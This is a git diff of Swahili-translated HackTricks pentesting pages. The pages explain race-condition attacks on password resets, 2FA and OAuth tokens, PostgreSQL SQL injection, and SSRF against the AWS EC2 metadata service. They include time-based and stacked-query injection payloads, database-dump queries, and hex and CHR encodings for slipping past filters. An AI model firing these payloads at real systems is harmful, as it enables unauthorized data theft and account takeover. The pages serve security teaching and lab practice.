* Anza kwa kubainisha vituo vya mwisho vinavyobadilisha au kuingiliana na data muhimu, kama vile maelezo ya mtumiaji au michakato ya kurejesha nywila. Jikite katika:
* **Uhifadhi**: Penda vituo vya mwisho vinavyobadilisha data endelevu upande wa seva kuliko vile vinavyoshughulikia data upande wa mteja.
* **Kitendo**: Tafuta shughuli zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kujenga hali zinazoweza kudukuliwa ikilinganishwa na zile zinazoongeza data mpya.
* **Ufunguo**: Mashambulizi mafanikio kawaida hujumuisha shughuli zinazotegemea kitambulisho kimoja, kama vile jina la mtumiaji au ishara ya kurejesha.
2. **Fanya Uchunguzi wa Awali**
- Jaribu sehemu zilizobainishwa na mashambulio ya hali ya mbio, ukitazama mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria udhaifu.
* Jaribu vituo vilivyobainishwa na mashambulio ya hali ya mbio, ukitazama mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria udhaifu.
3. **Onyesha Udhaifu**
- Punguza shambulio kwa idadi ndogo ya maombi yanayohitajika kudukua udhaifu, mara nyingi ni mawili tu. Hatua hii inaweza kuhitaji majaribio mengi au uendeshaji wa moja kwa moja kutokana na wakati sahihi unaohusika.
* Punguza shambulio hadi idadi ndogo ya maombi inayohitajika kudukua udhaifu, mara nyingi ni mawili tu. Hatua hii inaweza kuhitaji majaribio mengi au uendeshaji wa moja kwa moja kutokana na wakati sahihi unaohusika.
### Mashambulio ya Wakati wa Kujali
### Mashambulio ya Wakati Wenye Hisia
Uwiano katika wakati wa maombi unaweza kufichua udhaifu, haswa wakati njia za kutabirika kama alama za wakati hutumiwa kwa ishara za usalama. Kwa mfano, kuzalisha ishara za kurejesha nywila kulingana na alama za wakati inaweza kuruhusu ishara sawa kwa maombi yanayofanyika wakati huo huo.
Uakisi katika kutuma maombi kwa wakati unaweza kufunua udhaifu, hasa wakati mbinu za kutabirika kama vile alama za wakati hutumiwa kwa ajili ya vibali vya usalama. Kwa mfano, kutengeneza alama za kurejesha nywila kulingana na alama za wakati kunaweza kuruhusu alama sawa kwa maombi yanayofanyika wakati mmoja.
**Kudukua:**
- Tumia uwiano sahihi, kama shambulio la pakiti moja, kuomba kurejesha nywila kwa wakati mmoja. Ishara sawa zinaashiria udhaifu.
* Tumia wakati sahihi, kama shambulio la pakiti moja, kufanya maombi ya kurejesha nywila kwa wakati mmoja. Alama sawa zinaonyesha udhaifu.
**Mfano:**
- Omba ishara mbili za kurejesha nywila wakati huo huo na uzilinganishe. Ishara zinazolingana zinaonyesha kasoro katika uzalishaji wa ishara.
**Angalia [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) hii ili kujaribu hili.**
* Taka alama mbili za kurejesha nywila kwa wakati mmoja na uzilinganishe. Alama zinazofanana zinaonyesha kasoro katika utengenezaji wa alama.
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **jaribu hili.**
## Uchunguzi wa Hali Zisizoonekana
## Uchunguzi wa Kesi za Hali za Siri
### Lipa & ongeza Bidhaa
Angalia [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) hii ili kuona jinsi ya **kulipa** katika duka na **kuongeza ziada** ya bidhaa ambayo **hutahitaji kulipa**.
Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kuona jinsi ya **kulipa** katika duka na **kuongeza** bidhaa ya ziada ambayo **hutahitaji kulipa**.
### Thibitisha barua pepe nyingine
Wazo ni **kuthibitisha anwani ya barua pepe na kubadilisha kuwa nyingine wakati huo huo** ili kujua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa.
Wazo ni **kuthibitisha anwani ya barua pepe na kuibadilisha kuwa tofauti wakati huo huo** ili kugundua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa.
### Badilisha barua pepe hadi anwani 2 kwa msingi wa Cookie
### Badilisha barua pepe hadi anwani 2 zilizotegemea Vidakuzi
Kulingana na [**utafiti huu**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa na udhaifu wa kuchukuliwa kwa njia hii kwa sababu inaweza **kutuma** ishara ya **uthibitisho wa barua pepe ya barua pepe moja hadi barua pepe nyingine**.
Kulingana na [**utafiti huu**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa na udhaifu wa kuchukuliwa njia hii kwa sababu inaweza **kutuma** **ishara ya uthibitisho wa barua pepe ya moja kwa nyingine**.
**Angalia [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) hii ili kujaribu hili.**
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **jaribu hili.**
### Hali Zisizoonekana za Hifadhidata / Kupita Uthibitisho
### Hali za Siri za Hifadhidata / Kupuuza Uthibitisho
Ikiwa **kuandika tofauti 2** zinatumika kuongeza **habari** ndani ya **hifadhidata**, kuna sehemu ndogo ya wakati ambapo **data ya kwanza tu imeandikwa** ndani ya hifadhidata. Kwa mfano, wakati wa kuunda mtumiaji, **jina la mtumiaji** na **nywila** inaweza **kuandikwa** na **kisha ishara** ya kuthibitisha akaunti mpya iliyoandikwa. Hii inamaanisha kuwa kwa muda mfupi **ishara ya kuthibitisha akaunti ni tupu**.
Ikiwa **kuandika tofauti 2** hutumiwa kwa **kuongeza** **taarifa** ndani ya **hifadhidata**, kuna sehemu ndogo ya wakati ambapo **data ya kwanza tu imeandikwa** ndani ya hifadhidata. Kwa mfano, wakati wa kuunda mtumiaji **jina la mtumiaji** na **nywila** inaweza **kuandikwa** na **kisha ishara** ya kuthibitisha akaunti mpya iliyoundwa inaandikwa. Hii inamaanisha kwamba kwa muda mfupi **ishara ya kuthibitisha akaunti ni tupu**.
Kwa hivyo, **kujiandikisha akaunti na kutuma maombi kadhaa na ishara tupu** (`ishara=` au `ishara[]=` au tofauti yoyote nyingine) ili kuthibitisha akaunti mara moja inaweza kuruhusu **kuthibitisha akaunti** ambapo huwezi kudhibiti barua pepe.
Hivyo **kujiandikisha akaunti na kutuma maombi kadhaa na ishara tupu** (`ishara=` au `ishara[]=` au mabadiliko mengine yoyote) kuthibitisha akaunti mara moja inaweza kuruhusu kuthibitisha akaunti ambapo haukudhibiti barua pepe.
**Angalia [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) hii ili kujaribu hili.**
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **jaribu hili.**
### Kupita 2FA
Pseudo-kodi ifuatayo ina udhaifu wa hali ya mbio kwa sababu kwa muda mfupi sana **2FA haijatekelezwa** wakati kikao kinajengwa:
Pseudo-kificho kifuatacho ni dhaifu kwa hali ya mbio kwa sababu kwa muda mfupi sana **2FA haijatekelezwa** wakati kikao kinajengwa:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -243,22 +241,22 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### Uthabiti wa Kudumu wa OAuth2
### Kudumu kwa muda mrefu wa OAuth2
Kuna [**watoaji wa OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) kadhaa. Huduma hizi zitaruhusu kuunda programu na kuthibitisha watumiaji ambao watoa huduma wamewasajili. Ili kufanya hivyo, **mteja** atahitaji **ruhusu ya programu yako** ili kupata baadhi ya data yao ndani ya **mtoa huduma wa OAuth**.\
Kwa hivyo, hadi hapa ni kama kuingia kawaida na google/linkedin/github... ambapo unaulizwa kwenye ukurasa unaosema: "_Application \<InsertCoolName> inataka kupata habari zako, unataka kuiruhusu?_"
Kuna [**watoa huduma wa OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) kadhaa. Huduma hizi zitaruhusu kuunda programu na kuthibitisha watumiaji ambao mtoa huduma amesajili. Ili kufanya hivyo, **mteja** atahitaji **kuidhinisha programu yako** ili kupata ufikivu wa baadhi ya data yao ndani ya **mtoa huduma wa OAuth**.\
Kwa hivyo, hadi hapa ni kama kuingia kawaida kwa google/linkedin/github... ambapo unaulizwa kwenye ukurasa unasema: "_Programu \<InsertCoolName> inataka kupata taarifa zako, unataka kuruhusu?_"
#### Mzunguko wa Mashindano katika `authorization_code`
#### Hali ya Mashindano katika `authorization_code`
**Tatizo** linatokea unapokuwa **unakubali** na kutuma moja kwa moja **`authorization_code`** kwa programu mbaya. Kisha, programu hii **inatumia Mzunguko wa Mashindano katika mtoa huduma wa OAuth** ili kuzalisha AT/RT (_Authentication Token/Refresh Token_) zaidi ya moja kutoka kwa **`authorization_code`** kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kupata data yako ili **kuunda akaunti kadhaa**. Kisha, ikiwa **utaacha kuruhusu programu kupata data yako, jozi moja ya AT/RT itafutwa, lakini zingine zitaendelea kuwa halali**.
**Tatizo** linatokea unapopokea na kutuma **`authorization_code`** kiotomatiki kwa programu ya madhara. Kisha, programu hii inatumia Hali ya Mashindano katika mtoa huduma wa OAuth kuzalisha zaidi ya AT/RT (_Authentication Token/Refresh Token_) kutoka kwa **`authorization_code`** kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kupata data yako ili **kuunda akaunti kadhaa**. Kisha, ikiwa **unazuia programu kupata data yako, jozi moja ya AT/RT itafutwa, lakini zingine zitabaki halali**.
#### Mzunguko wa Mashindano katika `Refresh Token`
#### Hali ya Mashindano katika `Refresh Token`
Baada ya **kupata RT halali**, unaweza kujaribu **kuitumia vibaya** ili kuzalisha AT/RT kadhaa na **hata ikiwa mtumiaji anafuta ruhusa** kwa programu mbaya kupata data yake, **RT kadhaa bado zitakuwa halali**.
Baada ya **kupata RT halali** unaweza kujaribu **kuitumia vibaya kuzalisha AT/RT kadhaa** na **hata ikiwa mtumiaji anafuta ruhusa** kwa programu ya madhara kupata data yake, **RT kadhaa bado zitabaki halali**.
## **Mzunguko wa Mashindano katika WebSockets**
## **Hali ya Mashindano katika WebSockets**
Katika [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) unaweza kupata PoC katika Java kutuma ujumbe wa websocket kwa **njia sawa** ili kuzalisha **Mzunguko wa Mashindano pia katika Web Sockets**.
Katika [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) unaweza kupata PoC katika Java kutuma ujumbe wa websocket **kwa pamoja** kuitumia **Hali za Mashindano pia katika Web Sockets**.
## Marejeo
@ -274,18 +272,18 @@ Katika [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondit
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia hatua za kiotomatiki** zinazotumia zana za jamii za **kisasa zaidi**.\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kudhibiti taratibu za kiotomatiki** zinazotumia zana za jamii za **juu zaidi** ulimwenguni.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -10,31 +10,31 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukika - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
***
**Ukurasa huu unalenga kueleza mbinu tofauti ambazo zinaweza kukusaidia kuchexploit SQLinjection iliyopatikana kwenye database ya postgresql na kuzipatia mbinu unazoweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**Ukurasa huu unalenga kueleza mbinu tofauti ambazo zinaweza kukusaidia kudukua SQLinjection iliyopatikana kwenye database ya postgresql na kuzipatia mbinu unazoweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Mwingiliano wa Mtandao - Ukarabati wa Mamlaka, Skana ya Bandari, Ufunuo wa Majibu ya Changamoto ya NTLM & Uchukuzi
## Mwingiliano wa Mtandao - Kupandisha Hadhi, Skana ya Bandari, Ufunuo wa Majibu ya Changamoto ya NTLM & Uchukuzi
Moduli ya **PostgreSQL `dblink`** inatoa uwezo wa kuunganisha kwenye mifano mingine ya PostgreSQL na kutekeleza uhusiano wa TCP. Vipengele hivi, vikiunganishwa na utendaji wa `COPY FROM`, huwezesha vitendo kama ukarabati wa mamlaka, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa njia za kina za kutekeleza mashambulizi haya angalia jinsi ya [kutekeleza mashambulizi haya](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
Moduli ya **PostgreSQL `dblink`** inatoa uwezo wa kuunganisha kwenye mifano mingine ya PostgreSQL na kutekeleza uhusiano wa TCP. Vipengele hivi, vikiunganishwa na utendaji wa `COPY FROM`, huwezesha hatua kama kupandisha hadhi, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa njia za kina za kutekeleza mashambulizi haya angalia jinsi ya [kutekeleza mashambulizi haya](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Mfano wa Uchukuzi ukitumia dblink na vitu vikubwa**
Unaweza [**kusoma mfano huu**](dblink-lo\_import-data-exfiltration.md) kuona mfano wa CTF wa **jinsi ya kupakia data ndani ya vitu vikubwa na kisha kuchukua yaliyomo ya vitu vikubwa ndani ya jina la mtumiaji** la kazi `dblink_connect`.
## Mashambulizi ya PostgreSQL: Kusoma/kuandika, RCE, privesc
## Mashambulizi ya PostgreSQL: Kusoma/kuandika, RCE, kupandisha hadhi
Angalia jinsi ya kuhatarisha mwenyeji na kuongeza mamlaka kutoka PostgreSQL katika:
Angalia jinsi ya kudhoofisha mwenyeji na kupandisha hadhi kutoka PostgreSQL katika:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
@ -45,11 +45,11 @@ Angalia jinsi ya kuhatarisha mwenyeji na kuongeza mamlaka kutoka PostgreSQL kati
### Vipengele vya String vya PostgreSQL
Kubadilisha strings inaweza kukusaidia **kupitisha WAFs au vizuizi vingine**.\
[Katika ukurasa huu](https://www.postgresqltutorial.com/postgresql-string-functions/)**unaweza kupata baadhi ya Vipengele vya Strings vinavyoweza kusaidia.**
[**Kwenye ukurasa huu** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**unaweza kupata baadhi ya Vipengele vya Strings vinavyoweza kutumika.**
### Maswali Yaliyopangwa
### Mipangilio Iliyopangwa
Kumbuka kwamba postgresql inasaidia maswali yaliyopangwa, lakini programu kadhaa zitatoa kosa ikiwa majibu 2 yatarudi wakati inatarajia 1 tu. Lakini, bado unaweza kutumia maswali yaliyopangwa kupitia Uingizaji wa Wakati:
Kumbuka kwamba postgresql inasaidia mipangilio iliyopangwa, lakini programu kadhaa zitatoa kosa ikiwa majibu 2 yatarudi wakati inatarajia 1 tu. Lakini, bado unaweza kutumia vibaya mipangilio iliyopangwa kupitia Kuingiza Wakati:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -58,7 +58,7 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
Hii kazi itarudisha data yote katika muundo wa XML katika faili moja tu. Ni bora ikiwa unataka kumwaga data nyingi katika safu moja tu:
Hii kazi itarudisha data yote katika muundo wa XML katika faili moja tu. Ni bora ikiwa unataka kudump data nyingi katika safu moja tu:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
@ -68,9 +68,9 @@ Hii function itadump database nzima kwa muundo wa XML katika safu 1 tu (kuwa mak
```sql
SELECT database_to_xml(true,true,'');
```
### Maneno katika Hex
### Strings in Hex
Ikiwa unaweza **kutekeleza** **maswali** ukipitisha yao **ndani ya string** (kwa mfano kutumia kazi ya **`query_to_xml`**). **Unaweza kutumia convert\_from kupitisha string kama hex na kuepuka vichungi kwa njia hii:**
Ikiwa unaweza kuendesha **mambo** kwa kuyapitisha **ndani ya string** (kwa mfano kutumia kazi ya **`query_to_xml`**). **Unaweza kutumia convert\_from kupitisha string kama hex na kuepuka mifumo ya kuchuja njia hii:**
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
@ -84,19 +84,19 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### Alama za kutumia
Ikiwa huwezi kutumia alama za nukuu kwa payload yako unaweza kuzipuuza kwa kutumia `CHR` kwa ajili ya misemo ya msingi (_upatanishaji wa herufi unafanya kazi kwa maswali ya msingi kama vile SELECT, INSERT, DELETE, nk. Haifanyi kazi kwa taarifa zote za SQL_):
Ikiwa huwezi kutumia alama za nukta kwa payload yako unaweza kuzidisha hili kwa kutumia `CHR` kwa ajili ya misemo ya msingi (_kuunganisha herufi kazi kwa ajili ya maswali ya msingi kama vile SELECT, INSERT, DELETE, nk. Haifanyi kazi kwa taarifa zote za SQL_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Au na `$`. Kauli hizi za kuuliza zinarejesha matokeo sawa:
Au na `$`. Hizi ni maswali yanayorudisha matokeo sawa:
```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_).
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Pata udhaifu unaowezekana zaidi ili uweze kuzirekebisha haraka. Intruder inafuatilia eneo lako la shambulio, inafanya uchunguzi wa vitisho wa kujitokeza, inapata masuala katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. [**Jaribu bure**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) leo.
Pata udhaifu unaofaa zaidi ili uweze kuzirekebisha haraka. Intruder inachunguza eneo lako la mashambulizi, inaendesha uchunguzi wa vitisho wa kujitolea, inapata masuala katika safu yako nzima ya teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. [**Jaribu bure leo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -26,17 +26,17 @@ Pata udhaifu unaowezekana zaidi ili uweze kuzirekebisha haraka. Intruder inafuat
### Kutumia SSRF katika mazingira ya AWS EC2
**Metadata** inaweza kupatikana kutoka ndani ya kifaa chochote cha EC2 na inatoa habari muhimu kuhusu hicho kifaa. Inapatikana kwenye url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Endpoint ya metadata** inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na hutoa habari muhimu kuhusu hiyo. Inapatikana kwenye url: `http://169.254.169.254` ([habari kuhusu metadata hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Kuna **toleo 2** la metadata. **Toleo la kwanza** linaruhusu **upatikanaji** wa metadata kupitia ombi la **GET** (hivyo SSRF yoyote inaweza kuidukua). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **kitufe** kwa kutuma ombi la **PUT** na **kichwa cha HTTP** na kisha tumia kitufe hicho kupata metadata na kichwa kingine cha HTTP (hivyo ni **ngumu zaidi kuidukua** na SSRF).
Kuna **toleo 2** la endpoint ya metadata. **La kwanza** inaruhusu **kufikia** endpoint kupitia maombi ya **GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **tokeni** kwa kutuma ombi la **PUT** na **HTTP header** kisha kutumia tokeni hiyo kufikia metadata na HTTP header nyingine (hivyo ni **ngumu zaidi kuitumia** na SSRF).
{% hint style="danger" %}
Tafadhali kumbuka kuwa ikiwa kifaa cha EC2 kinatumia IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kikomo cha hatua 1**, hivyo haiwezekani kupata metadata ya EC2 kutoka kwenye chombo ndani ya kifaa cha EC2.
Tambua kwamba ikiwa kifaa cha EC2 kinaimarisha IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kikomo cha hatua 1**, ikifanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwa chombo ndani ya kifaa cha EC2.
Zaidi ya hayo, **IMDSv2** pia itazuia ombi za kupata kitufe ambazo zinaleta kichwa cha `X-Forwarded-For`. Hii ni kuzuia wakala wa kurudisha uliopangwa vibaya kuweza kufikia metadata hiyo.
Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata tokeni ambayo yana kichwa cha `X-Forwarded-For`**. Hii ni kuzuia wakala wa nyuma uliopangwa vibaya kutoka kuweza kufikia hiyo.
{% endhint %}
Unaweza kupata habari kuhusu [vikomo vya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika hati ifuatayo, habari muhimu inapatikana kutoka kwa metadata hiyo:
Unaweza kupata habari kuhusu [endpoints ya metadata katika nyaraka](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika hati ya kufuatia, habari muhimu inapatikana kutoka kwake:
```bash
